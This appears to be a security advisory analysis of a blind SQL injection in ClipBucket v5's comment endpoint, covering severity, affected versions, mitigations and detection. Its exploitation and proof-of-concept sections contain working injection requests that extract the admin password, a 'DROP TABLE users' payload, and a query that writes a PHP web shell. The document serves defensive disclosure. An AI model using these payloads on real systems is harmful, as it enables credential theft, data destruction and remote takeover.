Comprehensive Technical Analysis of CVE-2026-21875 (ClipBucket v5 Blind SQL Injection Vulnerability)

1. Vulnerability Assessment and Severity Evaluation

CVE ID: CVE-2026-21875 CVSS Score: 9.8 (Critical) – AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Vulnerability Type: Blind SQL Injection (SQLi) Exploitation Complexity: Low (No authentication required, trivial exploitation) Impact: High (Full database compromise, potential remote code execution, data exfiltration)

Severity Breakdown (CVSS v3.1)

Metric	Value	Explanation
Attack Vector (AV)	Network (N)	Exploitable remotely over HTTP/HTTPS.
Attack Complexity (AC)	Low (L)	No special conditions required; straightforward exploitation.
Privileges Required (PR)	None (N)	No authentication needed.
User Interaction (UI)	None (N)	No user interaction required.
Scope (S)	Unchanged (U)	Impact is confined to the vulnerable application.
Confidentiality (C)	High (H)	Attacker can extract sensitive data (e.g., user credentials, PII).
Integrity (I)	High (H)	Attacker can modify or delete database records.
Availability (A)	High (H)	Potential for denial-of-service (DoS) via malicious queries.

Vulnerability Classification

• OWASP Top 10 (2021): A03:2021 – Injection
• CWE: CWE-89: Improper Neutralization of Special Elements used in an SQL Command (SQL Injection)
• Blind SQLi Subtype: Boolean-based or Time-based Blind SQLi (depending on database response behavior).

The vulnerability is critical due to its low barrier to exploitation, high impact on confidentiality, integrity, and availability, and lack of authentication requirements.

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2. Potential Attack Vectors and Exploitation Methods

Exploitation Path

1. Attack Surface:

   • The vulnerability exists in the /actions/ajax.php endpoint, specifically in the obj_id parameter when submitting a comment via a channel.
   • The obj_id parameter is passed unsanitized into a SQL query in upload/includes/classes/user.class.php (via user_exists()) and subsequently in upload/includes/classes/db.class.php (via count()).

2. Exploitation Steps:

   • Step 1: An attacker sends a maliciously crafted POST request to /actions/ajax.php with a manipulated obj_id parameter.
     • Example payload:

       POST /actions/ajax.php HTTP/1.1
       Host: vulnerable-clipbucket-site.com
       Content-Type: application/x-www-form-urlencoded
       
       mode=add_comment&obj_id=1' OR 1=1-- -&comment=test&channel_id=1
       

   • Step 2: The application processes the obj_id without sanitization, leading to SQL injection.
   • Step 3: Depending on the database (MySQL, PostgreSQL, etc.), the attacker can:
     • Extract data (e.g., usernames, passwords, API keys) via Boolean-based blind SQLi (e.g., 1' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'-- -).
     • Execute time-based delays (e.g., 1' AND (SELECT SLEEP(5))-- -) to infer data.
     • Modify or delete data (e.g., 1'; DROP TABLE users-- -).
     • Achieve remote code execution (RCE) if the database supports stacked queries (e.g., MySQL with mysqli_multi_query).

3. Blind SQLi Techniques:

   • Boolean-based Blind SQLi:
     • Exploits conditional responses (e.g., 1' AND 1=1-- - returns true, 1' AND 1=2-- - returns false).
     • Used to enumerate database schema, tables, and data.
   • Time-based Blind SQLi:
     • Introduces delays (e.g., 1' AND (SELECT SLEEP(5))-- -) to infer data based on response time.
   • Error-based SQLi (if applicable):
     • Forces database errors to leak information (e.g., 1' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT database()), FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y)-- -).

4. Automated Exploitation Tools:

   • SQLmap (with --technique=B for Boolean-based or --technique=T for time-based).
   • Burp Suite (with Intruder or Repeater for manual testing).
   • Custom Python/Perl scripts leveraging requests or curl.

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3. Affected Systems and Software Versions

Vulnerable Software:

• ClipBucket v5 (Open-source video-sharing platform).
• Affected Versions:
  • All versions ≤ 5.5.2-#187 (including forks and modified distributions).

Non-Vulnerable Versions:

• Versions > 5.5.2-#187 (if patched).
• ClipBucket v4.x and earlier (not affected, as the vulnerable code path does not exist).

Deployment Scenarios at Risk:

• Self-hosted ClipBucket instances (common in media-sharing platforms).
• Third-party hosting providers running unpatched ClipBucket.
• Customized forks of ClipBucket that retain the vulnerable code.

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4. Recommended Mitigation Strategies

Immediate Actions (Short-Term)

1. Apply Vendor Patch (When Available):

   • Monitor GitHub Advisory (GHSA-crpv-fmc4-j392) for official fixes.
   • If no patch exists, disable the vulnerable endpoint (/actions/ajax.php) or restrict access via .htaccess/nginx rules.

2. Input Validation & Sanitization:

   • Modify user.class.php and db.class.php to:
     • Use prepared statements (parameterized queries) instead of string concatenation.
     • Whitelist allowed characters for obj_id (e.g., [0-9] only).
     • Implement strict type checking (e.g., intval() for numeric IDs).

3. Web Application Firewall (WAF) Rules:

   • Deploy ModSecurity with OWASP Core Rule Set (CRS) to block SQLi attempts.
   • Example rule:

     SecRule ARGS:obj_id "@detectSQLi" "id:1000,log,deny,status:403"
     

4. Network-Level Protections:

   • Restrict access to /actions/ajax.php via IP whitelisting (if feasible).
   • Rate-limit requests to prevent brute-force SQLi attempts.

Long-Term Remediation (Best Practices)

1. Secure Coding Practices:

   • Adopt ORM (Object-Relational Mapping) frameworks (e.g., Doctrine, Eloquent) to abstract SQL queries.
   • Enforce input validation at all layers (client-side, server-side, database).
   • Use stored procedures for database interactions where possible.

2. Database Hardening:

   • Least privilege principle: Ensure the ClipBucket database user has minimal permissions (no DROP, ALTER, or FILE privileges).
   • Disable stacked queries in MySQL (mysqli_multi_query should be avoided).
   • Enable query logging for forensic analysis (with caution due to performance impact).

3. Regular Security Audits:

   • Conduct penetration testing (e.g., OWASP ZAP, Burp Suite) to identify similar vulnerabilities.
   • Static Application Security Testing (SAST) (e.g., SonarQube, Semgrep) to detect SQLi patterns.
   • Dynamic Application Security Testing (DAST) (e.g., OWASP ZAP, Nessus) for runtime vulnerability detection.

4. Incident Response Planning:

   • Monitor for exploitation attempts (e.g., unusual obj_id values in logs).
   • Prepare a rollback plan in case of compromise (e.g., database backups, clean reinstall).

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5. Impact on the Cybersecurity Landscape

Exploitation Risks

• Mass Exploitation Potential:
  • Due to no authentication requirement, attackers can automate scans for vulnerable ClipBucket instances.
  • Botnets (e.g., Mirai variants) may incorporate this exploit for DDoS or data theft campaigns.
• Data Breach Consequences:
  • User credentials (hashed or plaintext) may be extracted, leading to account takeovers.
  • Sensitive media content (e.g., private videos) could be leaked.
  • Regulatory fines (GDPR, CCPA) if PII is exposed.

Broader Implications

• Supply Chain Risks:
  • ClipBucket is used by small businesses, content creators, and media platforms, making it a lucrative target for attackers.
  • Third-party plugins/themes may introduce additional vulnerabilities.
• Reputation Damage:
  • Organizations running vulnerable instances may face brand damage and loss of user trust.
• Evolution of Exploits:
  • If RCE is achievable (via stacked queries or file writes), this could lead to full server compromise.
  • Wormable exploits (self-propagating malware) could emerge if combined with other vulnerabilities.

Threat Actor Motivations

Threat Actor	Likely Motivation
Script Kiddies	Defacement, bragging rights.
Cybercriminals	Data theft (credentials, PII), ransomware deployment.
Hacktivists	Disrupting media platforms for ideological reasons.
APT Groups	Espionage, long-term persistence in target networks.

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6. Technical Details for Security Professionals

Vulnerable Code Analysis

1. Entry Point (/actions/ajax.php):

   • The obj_id parameter is extracted from the POST request and passed to user_exists().
   • No input sanitization is performed.

2. Vulnerable Function (user.class.php):

   public function user_exists($id) {
       $this->db->count("users", "userid = '$id'"); // Unsafely concatenated
       return ($this->db->num_rows > 0) ? true : false;
   }
   

   • The $id parameter is directly interpolated into the SQL query, allowing injection.

3. Database Class (db.class.php):

   public function count($table, $where = "") {
       $query = "SELECT COUNT(*) FROM $table WHERE $where";
       $this->execute($query); // Executes unsanitized query
       return $this->num_rows;
   }
   

   • The WHERE clause is constructed dynamically without parameterization.

Exploitation Proof of Concept (PoC)

Boolean-Based Blind SQLi (Data Extraction)

POST /actions/ajax.php HTTP/1.1
Host: vulnerable-site.com
Content-Type: application/x-www-form-urlencoded

mode=add_comment&obj_id=1' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'-- -&comment=test&channel_id=1

• If the first character of the admin user’s password is 'a', the comment is added successfully.
• If not, the request fails (or behaves differently), allowing bit-by-bit data extraction.

Time-Based Blind SQLi (Data Inference)

POST /actions/ajax.php HTTP/1.1
Host: vulnerable-site.com
Content-Type: application/x-www-form-urlencoded

mode=add_comment&obj_id=1' AND (SELECT SLEEP(5) FROM users WHERE username='admin' AND password LIKE 'a%')-- -&comment=test&channel_id=1

• If the admin password starts with 'a', the server delays for 5 seconds.

Database Fingerprinting

• MySQL:

  1' AND (SELECT @@version) LIKE '5.%'-- -
  

• PostgreSQL:

  1' AND (SELECT version()) LIKE 'PostgreSQL%'-- -
  

• SQLite:

  1' AND sqlite_version() LIKE '3.%'-- -
  

Post-Exploitation Scenarios

1. Data Exfiltration:
   • Extract user tables (users, passwords, emails).
   • Dump session tokens for account hijacking.
2. Privilege Escalation:
   • Modify admin user passwords or grant elevated privileges.
3. Remote Code Execution (RCE):
   • If MySQL INTO OUTFILE is enabled, write a PHP webshell:

     1' UNION SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'-- -
     

4. Persistence:
   • Create backdoor users or malicious cron jobs.

Detection & Forensics

1. Log Analysis:
   • Look for unusual obj_id values in web server logs (e.g., 1' OR 1=1-- -).
   • Check for database errors in error.log (e.g., You have an error in your SQL syntax).
2. Network Traffic Monitoring:
   • WAF alerts for SQLi patterns.
   • Unusual outbound connections (data exfiltration).
3. Database Forensics:
   • Review query logs for suspicious SELECT, UNION, or SLEEP statements.
   • Check for unexpected table modifications (e.g., new users, altered permissions).

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Conclusion

CVE-2026-21875 represents a critical, easily exploitable Blind SQL Injection vulnerability in ClipBucket v5, with severe implications for confidentiality, integrity, and availability. Given its CVSS 9.8 score and low exploitation complexity, organizations must prioritize patching, input validation, and WAF protections to mitigate risks.

Security teams should monitor for exploitation attempts, conduct thorough audits, and implement defense-in-depth strategies to prevent similar vulnerabilities in the future. The lack of an official patch at the time of disclosure further underscores the need for proactive security measures.

For further details, refer to the GitHub Advisory (GHSA-crpv-fmc4-j392).